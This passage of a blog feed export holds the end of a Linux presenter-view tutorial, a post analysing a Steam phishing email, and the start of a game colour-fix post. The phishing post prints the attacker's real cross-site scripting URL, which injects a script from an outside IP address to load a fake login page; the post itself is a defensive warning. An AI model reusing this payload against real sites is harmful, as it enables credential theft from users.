file_put_contents("./Presentation/presentation.pdf.info", ob_get_contents());&lt;br /&gt; ob_end_clean();&lt;br /&gt;?&amp;gt;&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;You now have the following folder structure:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_X4W-h82Vgjw/SxqK6fLyQEI/AAAAAAAAPRs/nFVKeMvDz_U/s1600-h/Screenshot-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_X4W-h82Vgjw/SxqK6fLyQEI/AAAAAAAAPRs/nFVKeMvDz_U/s320/Screenshot-1.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step 4: create the HTML page&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;In the Presentation-folder, we'll create an HTML page.&lt;br /&gt;&lt;br /&gt;&lt;tt&gt;PresenterView.html&lt;/tt&gt;:&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;&amp;lt;html&amp;gt;&lt;br /&gt;  &amp;lt;head&amp;gt;&lt;br /&gt;    &amp;lt;title&amp;gt;Presenter View&amp;lt;/title&amp;gt;&lt;br /&gt;    &amp;lt;style&amp;gt;&lt;br /&gt;    #information {&lt;br /&gt;    text-align: center;&lt;br /&gt;    font-size: 300%;&lt;br /&gt;    border: 3px solid #ccc;&lt;br /&gt;    padding: 4px;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    #val_time, #val_pagethis, #val_pagecount {&lt;br /&gt;    color: #444;&lt;br /&gt;    font-weight: bold;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    #slideleft {&lt;br /&gt;    float: left;&lt;br /&gt;    padding: 4px;&lt;br /&gt;    border: 1px solid #ccc;&lt;br /&gt;    }&lt;br /&gt;    #slideright {&lt;br /&gt;    float: right;&lt;br /&gt;    padding: 4px;&lt;br /&gt;    border: 1px solid #ccc;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    #text{&lt;br /&gt;    padding: 4px;&lt;br /&gt;    margin-top: 10px;&lt;br /&gt;    border-top: 3px solid #ccc;&lt;br /&gt;    height: 50px;&lt;br /&gt;    }&lt;br /&gt;    #pane{&lt;br /&gt;    margin-top: 10px;&lt;br /&gt;    font-size: 140%;&lt;br /&gt;    }&lt;br /&gt;    #time{&lt;br /&gt;    margin-top: 40px;&lt;br /&gt;    text-align: center;&lt;br /&gt;    font-size: 200%;&lt;br /&gt;    border: 3px solid #ccc;&lt;br /&gt;    padding: 4px;&lt;br /&gt;    }&lt;br /&gt;    &amp;lt;/style&amp;gt;&lt;br /&gt;    &amp;lt;script type="text/javascript" src="jquery-1.3.2.min.js"&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;    &amp;lt;script&amp;gt;&lt;br /&gt;    var mins = 0;&lt;br /&gt;    var secs = 0;&lt;br /&gt;    var clock = 0;&lt;br /&gt;    var previousslide = 0;&lt;br /&gt;    var refreshtime = 1000;&lt;br /&gt;&lt;br /&gt;    function display_clock(){&lt;br /&gt;    min = Math.floor(clock/60);&lt;br /&gt;    secs= clock - mins*60;&lt;br /&gt;    $("#val_time").text(mins+ ":" + secs);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    function update_clock(){&lt;br /&gt;    setTimeout ("update_clock()", 1000);&lt;br /&gt;    clock = clock + 1;&lt;br /&gt;    display_clock();&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    function make_call(){&lt;br /&gt;    $.ajaxSetup({'beforeSend': function(xhr){&lt;br /&gt;    if (xhr.overrideMimeType){&lt;br /&gt;    xhr.overrideMimeType("text/plain");&lt;br /&gt;    }&lt;br /&gt;    }&lt;br /&gt;    });&lt;br /&gt;&lt;br /&gt;    $.getJSON("json.txt",&lt;br /&gt;    function(data){&lt;br /&gt;    $("#val_pagethis").text(data.current_page);&lt;br /&gt;    $("#val_pagecount").text(data.page_count);&lt;br /&gt;&lt;br /&gt;    if (previousslide != data.current_page){&lt;br /&gt;    clock = data.current_time; //synchronize&lt;br /&gt;    $("#val_slideleft").attr("src", "./Slides/slide-"+(data.current_page-1)+".png");&lt;br /&gt;    if (data.current_page &amp;lt; data.page_count)&lt;br /&gt;    $("#val_slideright").attr("src", "./Slides/slide-"+(data.current_page)+".png");&lt;br /&gt;&lt;br /&gt;    $("#val_text").text(" ");&lt;br /&gt;    $.get("./Text/text-"+data.current_page+".txt",&lt;br /&gt;    function(data){&lt;br /&gt;    $("#val_text").html(data);&lt;br /&gt;    });&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    previousslide = data.current_page;&lt;br /&gt;    display_clock();&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    });&lt;br /&gt;    setTimeout ("make_call()", refreshtime);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    $(document).ready(function(){&lt;br /&gt;    make_call();&lt;br /&gt;    update_clock();&lt;br /&gt;    });&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    &amp;lt;/script&amp;gt;&lt;br /&gt;  &amp;lt;/head&amp;gt;&lt;br /&gt;&lt;br /&gt;  &amp;lt;body&amp;gt;&lt;br /&gt;    &amp;lt;div id="information"&amp;gt;Currently at slide&lt;br /&gt;    &amp;lt;span id="val_pagethis"&amp;gt;?&amp;lt;/span&amp;gt; of &amp;lt;span id="val_pagecount"&amp;gt;?&amp;lt;/span&amp;gt;&lt;br /&gt;    &amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;    &amp;lt;div id="pane"&amp;gt;&lt;br /&gt;&lt;br /&gt;    &amp;lt;div id="slideright"&amp;gt;&lt;br /&gt;    Next slide:&amp;lt;br /&amp;gt;&lt;br /&gt;    &amp;lt;img height="360" id="val_slideright" src="./Slides/slide-1.png" /&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;    &amp;lt;div id="slideleft"&amp;gt;&lt;br /&gt;    Current slide:&amp;lt;br /&amp;gt;&lt;br /&gt;    &amp;lt;img height="360" id="val_slideleft" src="./Slides/slide-0.png" /&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;    &amp;lt;/div&amp;gt;&lt;br /&gt;    &amp;lt;div style="clear:both;"&amp;gt; &amp;lt;/div&amp;gt;&lt;br /&gt;    &amp;lt;div id="text"&amp;gt;&amp;lt;span id="val_text"&amp;gt;?&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;    &amp;lt;div id="time"&amp;gt;Clock: &amp;lt;span id="val_time"&amp;gt;?&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;  &amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;This page uses &lt;a href="http://docs.jquery.com/Downloading_jQuery#Current_Release"&gt;jQuery&lt;/a&gt; for a bit of AJAX-magic. So make sure &lt;tt&gt;jquery-1.3.2.min.js&lt;/tt&gt; is placed in the Presentation-folder as well.&lt;br /&gt;&lt;br /&gt;And we're done. We can now start preparing and giving our presentation...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step 5: preparing your presentation&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;(1 - Convert to PDF)&lt;/b&gt; Create a nice presentation in Openoffice or Powerpoint. Save it as PDF-slides (it's easy in Openoffice, for Powerpoint you can download a &lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=f1fc413c-6d89-4f15-991b-63b07ba5f2e5&amp;amp;displaylang=en"&gt;plugin from Microsoft&lt;/a&gt;. Rename your PDF-file to &lt;tt&gt;presentation.pdf&lt;/tt&gt; and put it in the Presentation-folder. You now have the following folder structure:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_X4W-h82Vgjw/SxqN-negDAI/AAAAAAAAPRw/o4inpHJvLZ4/s1600-h/Screenshot-2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_X4W-h82Vgjw/SxqN-negDAI/AAAAAAAAPRw/o4inpHJvLZ4/s1600/Screenshot-2.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;b&gt;(2 - Make thumbnails)&lt;/b&gt; Open a terminal, cd to your top-folder, and execute the converter.sh-script:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;macuyiko@seppelaptop:~/Desktop/Impressive-0.10.2$ ./converter.sh&lt;br /&gt;Removing old images...&lt;br /&gt;Converting...&lt;br /&gt;Moving slide-0.png&lt;br /&gt;Moving slide-1.png&lt;br /&gt;Moving slide-2.png&lt;br /&gt;macuyiko@seppelaptop:~/Desktop/Impressive-0.10.2$&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;You Presentation/Slides-folder should now contain a bunch of PNG-files.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;(3 - Make notes) &lt;/b&gt;In the Presentation/Text folder, create &lt;tt&gt;text-&lt;b&gt;n&lt;/b&gt;.txt&lt;/tt&gt; files where &lt;b&gt;n&lt;/b&gt; is the number of the slide. In the textfile: write short notes you want to see for that slide (you may use HTML formatting).&lt;br /&gt;&lt;br /&gt;&lt;b&gt;(4 - Create the Impress info script)&lt;/b&gt; Run the PHP file:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;macuyiko@seppelaptop:~/Desktop/Impressive-0.10.2$ php makeinfo.php 3&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;In my example, I have three slides, so I use &lt;tt&gt;3&lt;/tt&gt; as the argument. Make sure the number you use is equal (or higher) than your number of slides!&lt;br /&gt;&lt;br /&gt;This will have created a &lt;tt&gt;presentation.pdf.info&lt;/tt&gt; file in the Presentation-folder:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;import json&lt;br /&gt;&lt;br /&gt;def UpdateInfo():&lt;br /&gt;   global FileName, FileList, PageCount&lt;br /&gt;   global DocumentTitle&lt;br /&gt;   global Pcurrent, Pnext, Tcurrent, Tnext, InitialPage&lt;br /&gt;   global RTrunning, RTrestart, StartTime, PageEnterTime, CurrentTime&lt;br /&gt;&lt;br /&gt;   io = open('./Presentation/json.txt', 'w')&lt;br /&gt;   json.dump(({"page_count": PageCount, "current_page": Pcurrent, "previous_page": Pnext, "start_time": StartTime, "pageenter_time": PageEnterTime, "current_time": CurrentTime}), io)&lt;br /&gt;   io.close&lt;br /&gt;&lt;br /&gt;PageProps = {&lt;br /&gt; 1: {&lt;br /&gt;        'transition': None,&lt;br /&gt;        'OnEnter': UpdateInfo&lt;br /&gt;    },&lt;br /&gt; 2: {&lt;br /&gt;        'transition': None,&lt;br /&gt;        'OnEnter': UpdateInfo&lt;br /&gt;    },&lt;br /&gt; 3: {&lt;br /&gt;        'transition': None,&lt;br /&gt;        'OnEnter': UpdateInfo&lt;br /&gt;    },&lt;br /&gt;}&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;This script provides Impressive with the necessary actions: every time we enter a script, we write some JSON-information (time, current slide, next slide,...) to &lt;tt&gt;json.txt&lt;/tt&gt;. This file will be polled continuously by jQuery in our HTML-page. Also note that I'm not using transitions. (You can change that if you want.)&lt;br /&gt;&lt;br /&gt;One last time, your structure should look like this:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_X4W-h82Vgjw/SxqQQAFnEHI/AAAAAAAAPR0/aKyzBwRB7-U/s1600-h/Screenshot-3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="400" src="http://4.bp.blogspot.com/_X4W-h82Vgjw/SxqQQAFnEHI/AAAAAAAAPR0/aKyzBwRB7-U/s400/Screenshot-3.png" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;Step 6: giving your presentation&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;(1 - Dual screen) &lt;/b&gt;Open a terminal in your top-folder. And run the dual.sh script to switch to dual screen.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;(2 - Open web browser)&lt;/b&gt; Open PresenterView.html in a web browser (I like Chromium best). Move it to your laptop screen. Then set it to always stay on top (you can do that by right clicking on the browser-item in the window switcher applet on the Gnome panel). The put it on full screen (F11 in most browsers). Your presenter view is running.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;(3 - Start presentation) &lt;/b&gt;On the main screen, run start.sh to start the presentation. The page in the web browser will automatically update depending on which slide you're on. This is what it looks like on the laptop screen:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_X4W-h82Vgjw/SxqRjx77BOI/AAAAAAAAPR4/i7pI19c3iFo/s1600-h/Screenshot-4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="300" src="http://1.bp.blogspot.com/_X4W-h82Vgjw/SxqRjx77BOI/AAAAAAAAPR4/i7pI19c3iFo/s400/Screenshot-4.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;And on the projector, everything looks nice:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_X4W-h82Vgjw/SxqRqMLsE_I/AAAAAAAAPR8/YWXlCUV8nOQ/s1600-h/Screenshot-5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="267" src="http://3.bp.blogspot.com/_X4W-h82Vgjw/SxqRqMLsE_I/AAAAAAAAPR8/YWXlCUV8nOQ/s400/Screenshot-5.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Also note that Impressive captures the mouse pointer. So once the presentation is going you won't have nasty situations when your mouse pointer leaves the screen and you press the button to advance a slide.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&amp;gt;&amp;gt; I've packed all the scripts, files, and a test presentation into a zip. You can download it &lt;a href="http://static.macuyiko.com/files/presenterview/Impressive-PresenterScreen.zip"&gt;here&lt;/a&gt;. &amp;lt;&amp;lt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21390211-8987428788883290691?l=blog.macuyiko.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.macuyiko.com/feeds/8987428788883290691/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.macuyiko.com/2009/12/buillding-presenter-view-for-linux.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/8987428788883290691'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/8987428788883290691'/><link rel='alternate' type='text/html' href='http://blog.macuyiko.com/2009/12/buillding-presenter-view-for-linux.html' title='Building A Presenter View For Linux'/><author><name>Seppe vanden Broucke</name><uri>https://profiles.google.com/109801607284916240262</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-jv7ZgBEveU8/AAAAAAAAAAI/AAAAAAAASKg/_AAsrCl73m0/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_X4W-h82Vgjw/SxqIGELL2AI/AAAAAAAAPRo/RxflM5iPh5o/s72-c/Screenshot.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21390211.post-1477513320421961836</id><published>2009-11-02T23:31:00.005+01:00</published><updated>2009-11-02T23:36:29.770+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='steam'/><category scheme='http://www.blogger.com/atom/ns#' term='phishing'/><category scheme='http://www.blogger.com/atom/ns#' term='warning'/><category scheme='http://www.blogger.com/atom/ns#' term='scam'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='exploit'/><title type='text'>Don't Get Caught In This Steam Phishing Scam - How Phishers Work</title><content type='html'>So I just got this mail in my inbox:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_X4W-h82Vgjw/Su9YncAJhVI/AAAAAAAAPQQ/NilcjCkx6AY/s1600-h/Screenshot1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_X4W-h82Vgjw/Su9YncAJhVI/AAAAAAAAPQQ/NilcjCkx6AY/s400/Screenshot1.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Needless to say, I was pretty surprised, I didn't know Steam accounts could expire. Sure enough the e-mail looks legit, it's mailed from support@steam.com, didn't get caught by GMail's spam filter, and the corporate footer looks clean enough. If you have an eye for detail you might notice that there is a space missing here: "click here,login".&lt;br /&gt;&lt;br /&gt;Let's check where this link leads to:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_X4W-h82Vgjw/Su9Zd5oXnvI/AAAAAAAAPQY/jbSCOU8YTno/s1600-h/Screenshot2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_X4W-h82Vgjw/Su9Zd5oXnvI/AAAAAAAAPQY/jbSCOU8YTno/s400/Screenshot2.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;https://cafe.steampowered.com/directory.php?country=AL&amp;amp;amp;state='&amp;amp;gt;&amp;lt;script%20src%3dhttp://92.241.190.202/~faaaaaaa/phising/steam/iframe.js&amp;gt;&amp;lt;/script%20src%3dhttp://92.241.190.202/~faaaaaaa/phising/steam/iframe.js&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;"cafe.steampowered.com" certainly looks okay, but now it becomes clear that the state variable has been tampered with. It certainly points to an external script, and putting it in the "phising" folder really doesn't look good... let's open the link. Here's how it looks in Chrome:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_X4W-h82Vgjw/Su9aZzEIxVI/AAAAAAAAPQg/vAbzAo3HsXw/s1600-h/Screenshot3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_X4W-h82Vgjw/Su9aZzEIxVI/AAAAAAAAPQg/vAbzAo3HsXw/s400/Screenshot3.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;And sure enough, the page looks messed up. Let's look at the generated html source:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_X4W-h82Vgjw/Su9bOIlV7FI/AAAAAAAAPQo/ooF3xbybE4E/s1600-h/Screenshot4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_X4W-h82Vgjw/Su9bOIlV7FI/AAAAAAAAPQo/ooF3xbybE4E/s400/Screenshot4.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;The phishers have now a fully working script tag injected in the source. Let's see what's in there:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_X4W-h82Vgjw/Su9bmGpVaBI/AAAAAAAAPQ4/cJCtXXdoDwU/s1600-h/Screenshot5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_X4W-h82Vgjw/Su9bmGpVaBI/AAAAAAAAPQ4/cJCtXXdoDwU/s400/Screenshot5.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Basically, the phisher is replacing the document body with an iframe which points to an evil url. Let's take a look at that url:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_X4W-h82Vgjw/Su9b90RfIzI/AAAAAAAAPRA/KW_g8Rt30l8/s1600-h/Screenshot6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_X4W-h82Vgjw/Su9b90RfIzI/AAAAAAAAPRA/KW_g8Rt30l8/s400/Screenshot6.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Sure enough, it's a fake Steam login page.&lt;br /&gt;&lt;br /&gt;Now you might have noticed that the phisher's attack method wasn't working in &lt;i&gt;my&lt;/i&gt; Chrome. Using Firefox, on the same machine, opening the URL from the mail immediately gives:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_X4W-h82Vgjw/Su9cxPr7lcI/AAAAAAAAPRI/K1Q_TDa7NAc/s1600-h/Screenshot7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_X4W-h82Vgjw/Su9cxPr7lcI/AAAAAAAAPRI/K1Q_TDa7NAc/s400/Screenshot7.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;So, what have we learned?&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Always check mails for spelling mistakes.&lt;/li&gt;&lt;li&gt;Always check mail and browser URLs for suspicious content.&lt;/li&gt;&lt;li&gt;If available: trust your spam/phishing filter.&lt;/li&gt;&lt;li&gt;If you're asked to re-enable your account and you get redirected to a general login page (like the fake on we saw), you can always open a new tab and go to steampowered.com (or other website) by typing it yourself and login that way.&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;Which actions should be taken?&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;Chrome, Firefox and others should detect this evil site as a phishing site (they detect most of them already, but new ones take a while before they get picked up).&lt;/li&gt;&lt;li&gt;GMail's spam filter failed here, I reported the e-mail as a phishing scam.&lt;/li&gt;&lt;li&gt;Steam has an &lt;a href="http://en.wikipedia.org/wiki/Cross-site_scripting"&gt;XSS&lt;/a&gt; exploit in their site which they should fix as soon as possible. Never say that "XSS exploits aren't that dangerous"!&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21390211-1477513320421961836?l=blog.macuyiko.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.macuyiko.com/feeds/1477513320421961836/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.macuyiko.com/2009/11/dont-get-caught-in-this-steam-phishing.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/1477513320421961836'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/1477513320421961836'/><link rel='alternate' type='text/html' href='http://blog.macuyiko.com/2009/11/dont-get-caught-in-this-steam-phishing.html' title='Don&apos;t Get Caught In This Steam Phishing Scam - How Phishers Work'/><author><name>Seppe vanden Broucke</name><uri>https://profiles.google.com/109801607284916240262</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-jv7ZgBEveU8/AAAAAAAAAAI/AAAAAAAASKg/_AAsrCl73m0/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_X4W-h82Vgjw/Su9YncAJhVI/AAAAAAAAPQQ/NilcjCkx6AY/s72-c/Screenshot1.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21390211.post-4007054422232755171</id><published>2009-07-29T02:57:00.026+02:00</published><updated>2011-07-30T18:21:29.764+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='purple water'/><category scheme='http://www.blogger.com/atom/ns#' term='red grass'/><category scheme='http://www.blogger.com/atom/ns#' term='seven'/><category scheme='http://www.blogger.com/atom/ns#' term='aoe2'/><category scheme='http://www.blogger.com/atom/ns#' term='aok'/><category scheme='http://www.blogger.com/atom/ns#' term='vista'/><category scheme='http://www.blogger.com/atom/ns#' term='color'/><category scheme='http://www.blogger.com/atom/ns#' term='directdraw'/><category scheme='http://www.blogger.com/atom/ns#' term='starcraft'/><category scheme='http://www.blogger.com/atom/ns#' term='solved'/><category scheme='http://www.blogger.com/atom/ns#' term='7'/><title type='text'>Solving Color Problem (Red Grass, Purple Water) In Age Of Empires 2: Age Of Kings (The Conquerors And Others Too) On Vista And Windows 7</title><content type='html'>&lt;h3&gt;Changelog&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="color: red;"&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;Update (30-Jul-2011): A new update for the Palettestealersuspender program is up. This release brings some significant UI changes. The tool now loads and saves settings and hides to the notification area so it can run and monitor games in the background. I've restructured the&amp;nbsp;accompanying&amp;nbsp;blog post to move program instructions to &lt;a href="http://blog.macuyiko.com/p/palettestealersuspender.html"&gt;a separate page&lt;/a&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Update (24-Apr-2011): A new update for my PaletteStealerSuspender program is up. This release fixes some bugs, and adds the ability to use the program in "batch/console"-mode. The readme contains usage details. The download link below leads you to the latest version.&lt;/li&gt;&lt;li&gt;Update (08-Sep-2010): I've added explanation for the new registry method (see &lt;a href="http://blog.macuyiko.com/2009/07/solving-color-problem-red-grass-purple.html?showComment=1280788386634#c2672861145655342118"&gt;comment&lt;/a&gt;). Also added a link to &lt;a href="http://sol.gfxile.net/ddhack/"&gt;Jari Komppa's Ddrawimplementation&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;Update (18-Apr-2010): A new version of the program is up again. This version includes the ability to wait for a game until it is started instead of starting the game itself. This is useful when using launchers or lobby programs like Garena which start the game for you.&lt;/li&gt;&lt;li&gt;Update (27-Mar-2010): I've added a new version of the program which fixes the "CD not found"-issue when using patch 1.0c for The Conquerors. Turns out the working directory for the executable should be set to "C:\Install Path\Age Of Empires 2" and not C:\Install Path\Age Of Empires 2\age2_x1".&lt;/li&gt;&lt;li&gt;Update (7-Feb-2010): I've added a new version of the program to fix a minor error which caused an exception to appear when starting the game in some rare cases. Download link still below.&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Introduction&lt;/h3&gt;Recently I wanted to play an old favourite of mine: Age Of Kings: The Conquerors. The game had been running fine all the way from Windows 98 (and NT 4 as well, which was a pain to play games on at the time, but I digress) until Windows Vista. However, with Windows 7 - which I've been running happily for some time now - I stumbled on a roadblock: the colours were all wrong.&lt;br /&gt;&lt;br /&gt;This is not an uncommon problem. Many people have had problems whenrunning the game on Vista or Windows 7, this is how you coulddescribe it:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Basically, the colors are all off.&lt;/li&gt;&lt;li&gt;It's Age Of Empires: Mars Edition.&lt;/li&gt;&lt;li&gt;Grass turns red, or green, after playing a few seconds...&lt;/li&gt;&lt;li&gt;...or the water turns purple.&lt;/li&gt;&lt;li&gt;Some trees turn red as well.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div&gt;And this is what it looks like:&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_X4W-h82Vgjw/Sm9qKTG5QxI/AAAAAAAAPNE/dMiZGWxevro/s1600-h/is.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_X4W-h82Vgjw/Sm9qKTG5QxI/AAAAAAAAPNE/dMiZGWxevro/s400/is.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;The thumbnail doesn't really bring it out, look at this ("zoom,enhance"):&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_X4W-h82Vgjw/Sm9qnQGXgkI/AAAAAAAAPNU/K7r-u6wXlTs/s1600-h/zoom.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_X4W-h82Vgjw/Sm9qnQGXgkI/AAAAAAAAPNU/K7r-u6wXlTs/s400/zoom.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;The tree has an 